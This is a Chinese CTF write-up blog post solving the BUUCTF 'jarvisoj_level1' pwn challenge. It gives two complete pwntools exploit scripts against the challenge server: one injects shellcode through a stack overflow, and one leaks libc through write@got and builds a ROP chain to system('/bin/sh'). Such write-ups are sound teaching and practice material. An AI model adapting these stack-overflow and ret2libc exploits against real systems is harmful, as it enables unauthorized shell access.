ReStr0
Venom战队队员 Chamd5安全团队
ReStr0-Blog

BUUCTF jarvisoj_level1

前言:

这是一道ret2shellcode类型的题目也是一道ret2libc的题目

查看题目

file和checksec查看文件信息

https://blog.restro.cn/wp-content/uploads/2021/08/image-20210716192628044.png

发现该文件为32位小程序,且保护未开,

丢入ida32查看相关信息

https://blog.restro.cn/wp-content/uploads/2021/08/image-20210716192730662.png

发现存在一个明显的栈溢出,

https://blog.restro.cn/wp-content/uploads/2021/08/image-20210716192829037.png

并未发现可以利用的/bin/shell 和system(),所以我们要自己写入shellcode来实现pwn下来这个程序

分析程序

https://blog.restro.cn/wp-content/uploads/2021/08/image-20210716210008179.png
https://blog.restro.cn/wp-content/uploads/2021/08/image-20210716210058167-1024x177.png

bss段存在可读写权限,现在只需要将shellcode写入bss段,然后再跳转到printf的地址去借助printf的%p打印出shellcode从而getshell 但是该方法只能打穿本地,远程打不动

附上exp

#!/usr/bin/python2
from pwn import *
#context.log_level='debug'
r=remote("node4.buuoj.cn","27366")
#r = process("./level1")

r.recvuntil("What's this:")
pay=0x88*"A"+0x4*"B"+p32(0x080484B7)
r.send(pay)

context(os='linux',arch='i386',log_level='debug')
shellcode = asm(shellcraft.i386.sh())
r.recvuntil("What's this:")
buf_addr=int(r.recv()[2:10],16)
print(buf_addr)
payload  = shellcode+(0x8c-len(shellcode))*"A"+p32(buf_addr)
r.send(payload)
r.interactive()

新解法

借助ret2libc的方法去解这道题目,虽然原本题目没给libc所以本来应该是不用libc的,

远程是先调用了write函数,然后是function函数

利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop链攻击获取shell

献上exp:

from pwn import *
from LibcSearcher import *

r = remote('node4.buuoj.cn',27366)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x6) 

r.send(payload)
write_addr = u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')

system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()

发表评论

textsms
account_circle
email

ReStr0-Blog

BUUCTF jarvisoj_level1
前言: 这是一道ret2shellcode类型的题目也是一道ret2libc的题目 查看题目 file和checksec查看文件信息 发现该文件为32位小程序,且保护未开, 丢入ida32查看相关信息 …
扫描二维码继续阅读
2021-08-03